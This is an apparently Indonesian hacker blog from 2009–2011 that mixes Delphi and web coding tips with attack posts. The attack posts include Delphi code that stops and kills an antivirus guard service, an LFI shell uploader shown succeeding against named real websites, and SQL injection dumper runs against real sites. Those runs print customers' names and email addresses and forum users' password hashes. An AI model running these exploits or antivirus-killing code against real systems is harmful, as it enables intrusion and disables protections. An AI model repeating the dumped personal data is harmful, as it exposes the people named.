c0li.m0de.0n

Create & Upload Shell via MyBB Admin CP [Video]

2011-01-25T23:44:00.002+07:00

Create & Upload Shell via MyBB Admin CP

Tested On: MyBB v1.6.1

Download Video

Anti WM_QUIT Message di Delphi 7

2010-12-30T20:31:00.002+07:00

1. Copy unit Forms.pas milik Delphi yang berada di dalam folder [DRIVE]:\Program Files\Borland\Delphi7\Source\ Vcl, kemudian Paste ke dalam folder Project anda.

2. Edit function TApplication.ProcessMessage(var Msg: TMsg): Boolean; yang ada di baris ke 6856.

function TApplication.ProcessMessage(var Msg: TMsg): Boolean;
var
Handled: Boolean;
begin
Result := False;
if PeekMessage(Msg, 0, 0, 0, PM_REMOVE) then
begin
    Result := True;
    if Msg.Message <> WM_QUIT then
    begin
      Handled := False;
      if Assigned(FOnMessage) then FOnMessage(Msg, Handled);
      if not IsHintMsg(Msg) and not Handled and not IsMDIMsg(Msg) and
        not IsKeyMsg(Msg) and not IsDlgMsg(Msg) then
      begin
        TranslateMessage(Msg);
        DispatchMessage(Msg);
      end;
    end
    else
      FTerminate := False; { dari True menjadi False }
end;
end;

3. Masih bersama Forms.pas Buat atau Tambahkan Private Message baru sebagai pengganti WM_QUIT pada procedure TApplication.WndProc(var Message: TMessage);

Contoh nya seperti di bawah ini:

6532: with Message do
6533: case Msg of
6534:    WM_SYSCOMMAND:
[.....]
6669:    WM_NULL:
6670:      CheckSynchronize;
6671:    WM_USER+666: { Ini Private Message Aplikasi Anda }
6672:      FTerminate := True;
6673: else
6674:    Default;
6675: end;

4. Dengan demikian perintah Application.Terminate sudah tidak bisa digunakan lagi, oleh karena itu anda perlu membuat procedure sendiri untuk menutup aplikasi anda.

Contoh:

procedure TForm1.CloseMe;
begin
PostMessage(Application.Handle, WM_USER+666, 0, 0);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
CloseMe;
end;

Sekian.

Random ClassName Form (WindowClass) di Delphi 7

2010-12-30T20:22:00.002+07:00

Random ClassName Form (WindowClass) di Delphi 7

Saat ini sudah banyak Virus atau Worm buatan lokal (anak indonesia) yang menggunakan tehnik pertahanan diri dengan cara membunuh aplikasi-aplikasi yang dianggap berpotensi untuk menghentikan proses penyebarannya, salah satunya yaitu dengan cara melakukan mass kill terhadap semua proses yang dibuat dengan Delphi.

Cara itu bisa dilakukan karena, secara default aplikasi VCL yang dibuat dengan Delphi akan diberikan classname atau nama WindowClass yang bersifat statik(?) dengan nama “TApplication” sebagai Application ClassName dan juga “TPUtilWindow” sebagai Util Window ClassName (penjelasan lebih lanjut silahkan googling xixixi).

Berikut ini Penulis akan memberikan beberapa tip dan trik untuk menghindari mass kill yang dilakukan oleh virus/worm pada kasus di atas.

Sebelum memulai, Tutup terlebih dahulu Delphi 7 nya kalau lagi aktif.

A. Random ClassName Application (TApplication)

1. Buka text editor kesayangan anda (cth: notepad) lalu copy dan paste kode berikut ini dan save ke folder project anda dengan nama RandomClass.pas

{ BEGIN }

unit RandomClass;

interface

uses

Windows;

function RandomStr(Len:integer): String;

implementation

function RandomStr(Len:integer): String;

var

chars: string;

begin

Randomize;

chars := '1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';

Result := '';

Len := Random(len);

if Len < 5 then Len := Len + 5;

repeat

Result := Result + chars[Random(Length(chars)) + 1];

until (Length(Result) = Len);

end;

end.

{ END }

2. Copy unit Forms.pas milik Delphi yang berada di dalam folder [DRIVE]:\Program Files\Borland\Delphi7\Source\Vcl, kemudian Paste ke dalam folder Project anda.

3. Buka Forms.pas tersebut dengan text editor lalu tambahkan unit RandomClass pada uses nya.

21: {$IFDEF MSWINDOWS}

22: uses Messages, Windows, SysUtils, Classes, Graphics, Menus, Controls, Imm,

23: ActnList, MultiMon, HelpIntfs, RandomClass;

24: {$ENDIF}

4. Masih pada Forms.pas Tambahkan kode berikut ini di bawah baris ke 6315 yang ada pada procedure TApplication.CreateHandle;

Kode: WindowClass.lpszClassName := PChar(RandomStr(10));

Sehingga menjadi seperti berikut ini:

6315: {$ENDIF}

6316: WindowClass.lpszClassName := PChar(RandomStr(10));

6317: WindowClass.lpfnWndProc := @DefWindowProc;

B. Random ClassName Util Window (TPUtilWindow)

1. Copy unit Classes.pas milik Delphi yang berada di dalam folder [DRIVE]:\Program Files\Borland\Delphi7\Source\ Rtl\Common, kemudian Paste ke dalam folder Project anda.

2. Buka Classes.pas tersebut dengan text editor lalu tambahkan unit RandomClass pada uses nya.

27: {$IFDEF MSWINDOWS}

28: uses Windows, Messages, SysUtils, Variants, TypInfo, ActiveX, RandomClass;

29: {$ENDIF}

3. Masih pada Classes.pas Tambahkan kode berikut ini di bawah baris ke 11042 yang ada pada function AllocateHWnd(Method: TWndMethod): HWND;

Kode: UtilWindowClass.lpszClassName := PChar(RandomStr(10));

Sehingga menjadi seperti berikut ini:

11042: {$ENDIF}

11043: UtilWindowClass.lpszClassName := PChar(RandomStr(10));

11044: ClassRegistered := GetClassInfo(HInstance, UtilWindowClass.lpszClassName,

11045: TempClass);

C. Random ClassName Form

1. Copy unit Controls.pas milik Delphi yang berada di dalam folder [DRIVE]:\Program Files\Borland\Delphi7\Source\ Vcl, kemudian Paste ke dalam folder Project anda.

2. Buka Controls.pas tersebut dengan text editor lalu tambahkan unit RandomClass pada uses nya.

26: {$IFDEF MSWINDOWS}

27: Messages, Windows, MultiMon, Classes, SysUtils, Graphics, Menus, CommCtrl,

28: Imm, ImgList, ActnList, RandomClass;

29: {$ENDIF}

3. Masih pada Controls.pas Edit kode StrPCopy(WinClassName, ClassName); yang ada pada baris ke 5973 di dalam procedure TWinControl.CreateParams(var Params: TCreateParams);

Kode: StrPCopy(WinClassName, RandomStr(10));

Sehingga menjadi seperti berikut ini:

5968: WindowClass.style := CS_VREDRAW + CS_HREDRAW + CS_DBLCLKS;

5969: WindowClass.lpfnWndProc := @DefWindowProc;

5970: WindowClass.hCursor := LoadCursor(0, IDC_ARROW);

5971: WindowClass.hbrBackground := 0;

5972: WindowClass.hInstance := HInstance;

5973: StrPCopy(WinClassName, RandomStr(10));

D. Random Caption Window/Form

Tambahkan unit RandomClass pada uses Form1 (disesuaikan).

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, RandomClass;

Kemudian tambahkan kode berikut ini pada Event FormCreate.

procedure TForm1.FormCreate(Sender: TObject);

begin

Application.Title := RandomStr(30);

Caption := RandomStr(50);

end;

{ sekian }

Jalankan Delphi 7 kemudian buka Project anda.

Compile Project dengan menekan Tombol CTRL+F9 (2x) lalu F9 (Run).

Bagi yang hanya ingin mengganti TApplication atau TPUtilWindow tanpa menggunakan unit RandomClass, hanya perlu mengedit string pada baris-baris berikut ini:

TApplication -> Forms.pas -> Baris ke 6211: lpszClassName: 'TApplication');

TPUtilWindow -> Classes.pas -> Baris ke 11032: lpszClassName: 'TPUtilWindow');

Semoga Tip Trik ini bisa berguna bagi anda terutama bagi mereka yang suka membuat antivirus maupun cleaner dengan Delphi.

Selamat Mencoba :)

PCMAV 4.5 Ragnarok3 Self Defense Test

2010-12-14T20:53:00.006+07:00

Berbeda dengan versi² sebelum nya,
PCMAV 4.5 Ragnarok3 kali ini hadir dengan fitur "self defense",
seperti yang bisa dibaca di README nya:

*****

PC Media Antivirus (PCMAV) 4.5 - Ragnarok3
Copyright (c) 2006-2010 Majalah PC Media
Pinpoint Publications Group

-------------------------
APA YANG BARU?/CHANGE-LOG
-------------------------
....
e. ADDED! Fitur self protection agar proses PCMAV tidak mudah dimatikan
terutama oleh virus lokal.
....

*****

Dengan ada nya fitur ini tentunya akan memberikan nilai tambah bagi PCMAV sebagai
antivirus lokal indonesia yang paling banyak digunakan. (menurut penulis)

Berikut ini adalah aplikasi sederhana yang sengaja penulis buat
menggunakan bahasa pemrogramman Delphi 7,
untuk mencoba "self defense" dari PCMAV 4.5 Ragnarok3.

Silahkan didownload dan dicoba sendiri:
DOWNLOAD

Note:
*) Matikan sementara Guard Avira sebelum mencoba nya.

Stop dan Kill ANSAV 2 Guard dengan Delphi

2010-12-12T20:51:00.004+07:00

Langsung saja ...

{ .....Begin }

uses WinSvc, TlHelp32;

function StopService(sMachine,sService:string):boolean;
var
SCHMan, SCHSrv: SC_Handle;
SrvStatus: TServiceStatus;
dwCP: DWord;
begin
SCHMan := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_CONNECT);
if (SCHMan > 0) then
begin
    SCHSrv := OpenService(SCHMan,PChar(sService),SERVICE_STOP or SERVICE_QUERY_STATUS);
    if (SCHSrv > 0) then
      begin
        if (ControlService(SCHSrv,SERVICE_CONTROL_STOP,SrvStatus)) then
          begin
            if (QueryServiceStatus(SCHSrv,SrvStatus)) then
              begin
                while(SERVICE_STOPPED <> SrvStatus.dwCurrentState) do
                  begin
                    Application.ProcessMessages;
                    StopService(sMachine,sService);
                    dwCP := SrvStatus.dwCheckPoint;
                    Sleep(SrvStatus.dwWaitHint);
                    if (not QueryServiceStatus(SCHSrv,SrvStatus)) then break;
                    if(SrvStatus.dwCheckPoint < dwCP)then break;
                  end;
              end;
          end;
        CloseServiceHandle(SCHSrv);
      end;
    CloseServiceHandle(SCHMan);
end;
Result := SERVICE_STOPPED = SrvStatus.dwCurrentState;
end;

function KillProcByFileName(FileName:string;ExitCode:integer):integer;
const
PROCESS_TERMINATE = $0001;
var
Loop: BOOL;
FSHnd: THandle;
FPE32: TProcessEntry32;
begin
Result := 0;
FSHnd := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
FPE32.dwSize := SizeOf(FPE32);
Loop := Process32First(FSHnd, FPE32);
while Integer(Loop) <> 0 do
    begin
      if ((UpperCase(ExtractFileName(FPE32.szExeFile)) = UpperCase(FileName)) or
          (UpperCase(FPE32.szExeFile) = UpperCase(FileName))) then
        Result := Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE,BOOL(0),
                          FPE32.th32ProcessID),ExitCode));
      Loop := Process32Next(FSHnd, FPE32);
    end;
CloseHandle(FSHnd);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if StopService('','ANSAVDaemon') then
    if KillProcByFileName('ansavd.exe',1) <> 0 then
      ShowMessage('ANSAV Guard Killed!');
end;

{ .....End }

Atau bisa juga dengan hanya menggunakan fungsi KillProcByFileName(NameFile,ExitCode)
Dengan catatan ExitCode <> 0

{ .....End }

procedure TForm1.Button1Click(Sender: TObject);
begin
if KillProcByFileName('ansavd.exe',2010) <> 0 then
    ShowMessage('ANSAV Guard Killed!');
end;

{ .....End }

Trik di atas berlaku juga untuk salah satu AntiVirus Turunan dari ANSAV 2,
yaitu: AVI 2 (AntiVirus Info Komputer)

Happy Coding ^^

Menghapus Folder autorun.inf buatan SmadAV dengan Delphi

2010-11-15T04:39:00.000+07:00

Berikut merupakan salah satu cara menghapus folder autorun.inf buatan SamadAV menggunakan Delphi.

Uses ShellApi;

function HapusFolder(NamaFolder:String):Boolean;
var
T: TSHFileOpStruct;
begin
Result := False;
FillChar(T, SizeOf(T), #0);
with T do
begin
    Wnd := 0;
    wFunc := FO_DELETE;
    pFrom := PChar('\\?\' + NamaFolder + #0);
    fFlags := FOF_ALLOWUNDO or FOF_SILENT or FOF_NOCONFIRMATION;
end;
if (SHFileOperation(T) = 0) then
    Result := True;
end;

procedure TForm1.Button1Click(Sender: TObject);
var S: String;
begin
MessageBeep(mb_iconExclamation);
S := 'Z:\autorun.inf'; { path dari folder autorun.inf }
if DirectoryExists(S) then
    begin
      if SetFileAttributes(PChar(S),FILE_ATTRIBUTE_NORMAL) then
        begin
        if HapusFolder(S) then
          MessageDlg('SUKSES menghapus folder '+S,mtInformation,[mbOK],0)
        else
          MessageDlg('GAGAL menghapus folder '+S,mtInformation,[mbOK],0);
        end;
    end
else
    MessageDlg('Folder '+S+' tidak ditemukan!',mtError,[mbOK],0);
end;

Happy Coding ^^

Note:
Only for Educational Purpose!

GET & POST with PERL

2010-09-21T18:46:00.002+07:00

Introduction

LWP (short for "Library for WWW in Perl") is a popular group of Perl modules for accessing data on the Web. Like most Perl module-distributions, each of LWP's component modules comes with documentation that is a complete reference to its interface. However, there are so many modules in LWP that it's hard to know where to look for information on doing even the simplest things.

Document: http://www.perl.com/pub/2002/08/20/perlandlwp.html

#!/usr/bin/perl -w

# For supporting HTTPS Protocol:

# [root@centos ~]# yum install perl-Net-SSLeay perl-Crypt-SSLeay
# [root@ubuntu ~]# apt-get install libcrypt-ssleay-perl libnet-ssleay-perl

use HTTP::Request;
use HTTP::Cookies;
use LWP::UserAgent;

$get_content = get('http://facebook.com/');

$post_content = post('http://m.facebook.com/login.php',

"email=user@mail.com&pass=password&login=Login");

sub get {
my $url = $_[0];
my $cookie = HTTP::Cookies->new(file => "cookies.log", autosave=>1,);
my $ua = LWP::UserAgent->new(agent => "Mozilla/5.0");
$ua->cookie_jar($cookie);
$ua->timeout(15);
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req);
if ($res->is_error) { print $res->status_line."\n"; }
return $res->content;
}

sub post {
my $url = $_[0];
my $data = $_[1];
my $cookie = HTTP::Cookies->new(file => "cookies.log", autosave=>1,);
my $ua = LWP::UserAgent->new(agent => "Mozilla/5.0");
$ua->cookie_jar($cookie);
$ua->timeout(15);
push @{$ua->requests_redirectable}, 'POST';
my $req = HTTP::Request->new(POST => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content("$data");
my $res = $ua->request($req);
if ($res->is_error) { print $res->status_line."\n"; }
return $res->content;
}

Happy coding :)

GET & POST with PHP cURL

2010-09-21T18:45:00.002+07:00

Introduction

PHP supports libcurl, a library created by Daniel Stenberg, that allows you to connect and communicate to many different types of servers with many different types of protocols. libcurl currently supports the http, https, ftp, gopher, telnet, dict, file, and ldap protocols. libcurl also supports HTTPS certificates, HTTP POST, HTTP PUT, FTP uploading (this can also be done with PHP's ftp extension), HTTP form based upload, proxies, cookies, and user+password authentication.

Document: http://www.php.net/manual/en/intro.curl.php

cURL GET Content:

$content = curl_get_content('http://facebook.com/');
print $content;

function curl_get_content($url) {
$ch = curl_init();
$path = dirname(__FILE__).'/';
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIEJAR, $path."cookie.log");
curl_setopt($ch, CURLOPT_COOKIEFILE, $path."cookie.log");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0");
$html = curl_exec($ch);
curl_close($ch);
return $html;
}

cURL POST Data:

$content = curl_post_content('http://m.facebook.com/login.php',
"email=user@mail.com&pass=password&login=Login");
print $content;

function curl_post_content($url,$data) {
$ch = curl_init();
$path = dirname(__FILE__).'/';
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIEJAR, $path."cookie.log");
curl_setopt($ch, CURLOPT_COOKIEFILE, $path."cookie.log");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0");
$html = curl_exec($ch);
curl_close($ch);
return $html;
}

Want more?
Document: http://php.net/manual/en/book.curl.php

Have nice coding :)

Public DNS Server

2010-09-21T18:43:00.002+07:00

Apa itu DNS Server?
DNS (Domain Name System) Server adalah salah satu jenis sistem yang melayani permintaan pemetaan IP Address ke FQDN (Fully Qualified Domain Name) dan dari FQDN ke IP Address.

What Is a DNS Server?

The Domain Name System (DNS) is a standard technology for managing the names of Web sites and other Internet domains. DNS technology allows you to type names into your Web browser like google.com and your computer to automatically find that address on the Internet. A key element of the DNS is a worldwide collection of DNS servers. What, then, is a DNS server?

Answer: A DNS server is any computer registered to join the Domain Name System. A DNS server runs special-purpose networking software, features a public IP address, and contains a database of network names and addresses for other Internet hosts.

Berikut adalah daftar Public DNS Server yang umum digunakan.

Google

* 8.8.8.8
* 8.8.4.4

ScrubIt

* 67.138.54.100
* 207.225.209.66

dnsadvantage

* 156.154.70.1
* 156.154.71.1

OpenDNS

* 208.67.222.222
* 208.67.220.220

vnsc-pri.sys.gtei.net

* 4.2.2.1
* 4.2.2.2
* 4.2.2.3
* 4.2.2.4
* 4.2.2.5
* 4.2.2.6

Nawala Project

* 180.131.144.144
* 180.131.145.145

telkom.net.id

* 202.155.0.20
* 202.155.0.15
* 202.134.0.62
* 202.134.0.155
* 202.134.1.10
* 202.134.2.5
* 203.130.196.5

cbn.net.id

* 202.158.40.1
* 202.158.20.1

indo.net.id

* 202.159.32.2
* 202.159.33.2

indosat.net.id

* 202.155.0.20
* 202.155.0.15
* 202.155.30.227

itb.ac.id

* 202.249.24.65
* 167.205.23.1
* 167.205.22.123
* 167.205.30.114

ukdw.ac.id

* 222.124.22.18

sat.net.id

* 202.149.82.25
* 202.149.82.29

VopCrew IJO Scanner v1.2 (LFI Scanner) #updated

2010-04-10T06:34:00.012+07:00

VopCrew IJO Scanner
LFI Scanner (/proc/self/environ) IRC Bot

How to run:

$ perl ijoscan.pl irc.server.net 6667 botnick botident channel yournick fakeproc

How to scan via IRC:

!ijoscan [lfibug] [dork]

!ijoscan index.php?option=com_bca-rss-syndicator&controller= com_bca-rss-syndicator

Example Result:

[download] http://c0li.info/xpl/ijoscan-v1.2.zip

Simple Shell Uploader via LFI Bugz (/proc/self/environ)

2010-03-27T05:15:00.003+07:00

[source] http://okedeh.co.tv/n0va.txt

perl n0va.txt

$ perl n0va.txt www.man18-xxx.sch.id / "index.php?option=com_ckforms&controller="
[~] Exploiting ...
[+] Success -> http://www.man18-xxx.sch.id/n0va.php

$ perl n0va.txt pcprintersolutixxx.com /pcprintersolutixxx/ "index.php?option=com_ckforms&controller="
[~] Exploiting ...
[+] Success -> http://pcprintersolutixxx.com/pcprintersolutixxx/n0va.php

./bobok

Simple SQLi Dumper v5.1 [v5.0 Updated + Fixed ]

2010-03-21T23:54:00.004+07:00

[SOURCE] http://okedeh.co.tv/ssdp51.tar.gz
================================

Simple SQLi Dumper (SSDp) v5.1 for MySQL [README]
Author: Vrs-hCk
EMail: ander[at]antisecurity.org
Website: http://www.antisecurity.org

SSDp v5.1 DESCRIPTION
---------------------
SSDp is Open Source PHP MySQL Injection Tool.
Written in Perl Scripting Language.

IMPORTANT
---------
ONLY FOR EDUCATIONAL PURPOSE.
THE AUTHOR IS NOT RESPONSABLE OF ANY IMPROPERLY USE OF THIS TOOL.
USE IT AT YOUR OWN RISK !!

FEATURES
--------
[+] MySQL Injection
[+] MySQL v4 Tables and Columns Brute
[+] Magic Number / Null Column Finder
[+] Gathering MySQL Information
[+] Database Information Schema Extractor
[+] Columns Path Finder
[+] ...

CHANGES
-------
5.1 -> Added @@version_compile_os function
Added get all found of magic numbers
Fixed unhex(hex())) null result
Fixed minor bugs
5.0 -> Go Public !!!

GREETZ TO
---------
Jack-, NoGe, OoN_Boy, Paddy, s4va, xr00tb0y, S3T4N, Kucink Garonk a.k.a Mey
Wishnu, bL4Ck_3n91n3, R3V4N_B4ST4RD, em|nem, pizzyroot, loqsa, dkk (*_^)
[MH] MainHack BrotherHood, [SiD] ServerIsDown UnderGrounD, AntiSecurity.org Team

Simple SQLi Dumper v5.0 for MySQL

2010-03-15T15:28:00.003+07:00

[Source] http://okedeh.co.tv/ssdp51.tar.gz [updated]

./begin

[ander@vps]$ perl ssdp.pl -u http://www.460productions.com/store.php?cat=2 -f 50 -magic

[o]=================================================[x]
| Simple SQLi Dumper v5.0 |
| Coded by Vrs-hCk |
[o]=================================================[o]
Help Command: -h, -help, --help

[+] URL: http://www.460productions.com/store.php?cat=2
[+] End Tag: --

Attempting to find the magic number...

[+] Testing: 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,

[+] Field Length : 24
[+] Magic Number : 1,3,4,7,8,10,11,12,13,14,15,16,17,18,19,21,23,24,
[+] URL Injection: http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24

Showing MySQL Information ...

[+] Database: 460store
[+] User: i460usr@boscgi1002.eigbox.net
[+] Version: 5.0.51a-log
[+] Access to "mysql" Database: No
[+] Read File "/etc/passwd": Yes (w00t)
[+] Create File "/tmp/c0li-361.txt": Yes (w00t)

Done.

[ander@vps]$ perl ssdp.pl -u http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 -d 460store -table

[o]=================================================[x]
| Simple SQLi Dumper v5.0 |
| Coded by Vrs-hCk |
[o]=================================================[o]
Help Command: -h, -help, --help

[+] c0li SQLi URL: http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
[+] SQLi End Tag: --
[+] Database Name: 460store
[+] Number of Tables: 18

Showing tables ...

[1] aspect_ratio(2)
[2] audio_format(3)
[3] category(7)
[4] customer(199)
[5] deposit(11)
[6] discount_group(9)
[7] discount_group_price(10)
[8] order(235)
[9] order_item(259)
[10] order_source(5)
[11] order_status(4)
[12] order_type(2)
[13] payment_type(4)
[14] product(30)
[15] product_group(17)
[16] security(1)
[17] shopping_cart(0)
[18] user_session(138)

Done.

[ander@vps]$ perl ssdp.pl -u http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 -d 460store -t customer -column

[o]=================================================[x]
| Simple SQLi Dumper v5.0 |
| Coded by Vrs-hCk |
[o]=================================================[o]
Help Command: -h, -help, --help

[+] c0li SQLi URL: http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
[+] SQLi End Tag: --
[+] Database Name: 460store
[+] Table Name: customer
[+] Number of Columns: 17

Showing columns from table "customer" ...

[+] customer(199): customer_id,last_name,first_name,email_address,telephone,address_line1,address_line2,address_city,address_state,address_zip,address_country,address_name,paypal_payer_id,create_date,create_by,modify_date,modify_by

Done.

[ander@vps]$ perl ssdp.pl -u http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 -d 460store -t customer -c first_name,email_address -where "email_address like 0x257961686F6F25" -dump

[o]=================================================[x]
| Simple SQLi Dumper v5.0 |
| Coded by Vrs-hCk |
[o]=================================================[o]
Help Command: -h, -help, --help

[+] c0li SQLi URL: http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
[+] SQLi End Tag: --

[+] Database Name: 460store
[+] Table Name: customer
[+] Column Name: first_name,email_address
[+] Data Count: 199

Special Dump Query: WHERE email_address like 0x257961686F6F25

Dumping 21 Data ...

[1] Ranginee : rangineec@yahoo.com
[2] Evie : sunroseva@yahoo.com
[3] Daniel : danielriveraus@yahoo.com
[4] Anne : corbin.anne@yahoo.com
[5] Jane : janealogyusa@yahoo.com
[6] Emily : emsdancemom@yahoo.com
[7] Clare : tllandckl@yahoo.com
[8] Kristi : kdosherdvm@yahoo.com
[9] Sue Ellen : lanxiyayi@yahoo.com
[10] Dena : paeisa378@yahoo.com
[11] Jennifer : jenecks@yahoo.com
[12] Frederic : fredgmus@yahoo.com
[13] M.K. : mkehlj1@yahoo.com
[14] Wendy : dehcml1303@yahoo.com
[15] Melinda : themannons@yahoo.com
[16] Sara : inman710@yahoo.com
[17] Angela : adwoodie@yahoo.com
[18] Shri G.B. : rangineec@yahoo.com
[19] Theresa : theresalink@yahoo.com
[20] Eileen : egodwin57@yahoo.com
[21] Alycia : leashylovex3@yahoo.com

Done.

[ander@vps]$ perl ssdp.pl -u http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 -d 460store -c pass -find

[o]=================================================[x]
| Simple SQLi Dumper v5.0 |
| Coded by Vrs-hCk |
[o]=================================================[o]
Help Command: -h, -help, --help

[+] c0li SQLi URL: http://www.460productions.com/store.php?cat=2+AND+1=2+UNION+ALL+SELECT+c0li,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
[+] SQLi End Tag: --
[+] Database Name: 460store

Searching for Columns Name like *pass* ...

[+] Columns Found:

[1] 460store.security.password

Done.

./eof

IM2 - Huawei E160 - Ubuntu 9.04

2009-11-06T14:29:00.003+07:00

Sangat mudah untuk melakukan setting koneksi internet IM2 pada ubuntu 9.04, karena modem huawei E160 sudah terdeteksi otomatis oleh ubuntu 9.04.

ander@ubuntu:~$ cat /etc/issue
Ubuntu 9.04 \n \l

ander@ubuntu:~$ lsusb
Bus 007 Device 002: ID 15d9:0a33
Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 002 Device 004: ID 12d1:1003 Huawei Technologies Co., Ltd. E220 HSDPA Modem / E270 HSDPA/HSUPA Modem
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 002: ID 064e:a101 Suyin Corp.

Walaupun terdeteksi sebagai Modem E220 HSDPA / E270 HSDPA/HSUPA, namun tetap bisa digunakan :)

Berikut adalah langkah-langkah setting IM2:

1. System - Preferences - Network Connections - Mobile Broadband - Add

Setelah muncul pesan selamat datang pada New Mobile Broadband Connection, klik Forward, lalu pada Service Provider pilih Country: Indonesia dan pada Provider pilih Indosat (Matrix). Kalau sudah klik Forward dan ganti Name: Indosat (Matrix) menjadi indosatm2. Setelah itu klik Apply.

2. Masih pada window Network Connections

Pilih koneksi indosatm2, lalu klik Edit.

- Pada Tab Mobile Broadband, masukan username dan password IM2 anda, sedangkan untuk APN: satelindogprs.com indosatgprs ganti dengan indosatm2. Sehingga menjadi APN: indosatm2.

- Silahkan masukan PIN apabila anda ingin koneksi terjadi tanpa konfirmasi permintaan PIN Kartu IM2.

- Pada Tab IPv4 Settings, pilih Method: Automatic (PPP) addresses only, kemudian pada DNS Servers: 202.155.46.66, 202.155.46.77 ganti dengan DNS Server dari IM2 yaitu 202.155.0.10, 202.155.0.15. Bila sudah silahkan klik Apply lalu kilik Close untuk keluar dari window Network Connections.

3. Klik Kiri pada icon Network Connection yang ada di sebelah kiri icon Sound dan Jam, lalu pilih menu indosatm2.

Maka proses koneksi ke IM2 sedang dilakukan :)
Apabila anda ingin memutuskan koneksi lakukan cara yg sama sewaktu mau melakukan koneksi, tapi pilih lah menu Disconnect.

Good Luck ^_^

MyEnTunnel

2009-11-05T17:20:00.006+07:00

Description:

MyEnTunnel is a simple system tray application (or NT service) that establishes and maintains TCP SSH tunnels. It does this by launching Plink (PuTTY Link) in the background and then monitors the process.

Download

Simple SQLi Dumper (SSDp) v0.1 GUI

2009-09-28T11:25:00.007+07:00

Saya buat cuman sekedar mengisi kehampaan hati & perasaan (^_*)

Tapi saya juga buat dengan penuh perasaan hehehe...

Download
http://luvnova.info/delphi/SSDp-0.1-GUI.zip

Hope you enjoy it :)

Check My IP Address PHP Scripts

2009-09-11T21:06:00.004+07:00

Source Download

Enjoy It :)

Simple SQLi Dumper (SSDp) v2.2

2009-09-11T19:43:00.003+07:00

c0li@locahost:~$ perl ssdp-2.2.txt

*************************************
* Simple SQLi Dumper 2.2 *
* Coded By Vrs-hCk *
* MainHack.net - AntiSecurity.org *
*************************************

[SSDp] SQLi URL (c0li inside) : http://linux.uta.edu/article.php?pid=-9999+union+select+0,1,2,c0li,4
[SSDp] SQLi End Tag : --
[SSDp] Enter DB Name (leave blank for use current db) :
[SSDp] Enter Table Name : phpbb_users
[SSDp] Enter Columns Name (separate by comma char) : username,user_password
[SSDp] Enter ID to Start : 0
[SSDp] Enter ID to Stop : 10
[SSDp] SQLi Log File : uta.log

[SSDp] DUMPING DATA ...

[SSDp] [phpbb_users] username,user_password :

[SSDp] ID (0) Anonymous:
[SSDp] ID (1) bbadmin:f9b790063d5267e9669fbfad57b7a0d5
[SSDp] ID (2) jthardy:747dea49eae3d6af9c857d015d9d629e
[SSDp] ID (3) digant:9a60dd9fb92185fc06b669d0ae2c427f
[SSDp] ID (4) mrpuffypants:113ce43fe4620762d8dd6212aaff6571
[SSDp] ID (5) priyavadan:60dc008a962c3c3140410a8a1a6354d6
[SSDp] ID (6) manoj:9f44468aa6c33a5a2fd83240b0d1a117
[SSDp] ID (7) euphoria:27dc5090ba674bc9d8670ac03625d74d
[SSDp] ID (8) JesseD:7b00f80f6139aa5081dd130d15500f59
[SSDp] ID (9) kwenda:64c3a57b3f33f6618e7052199b2a48e9
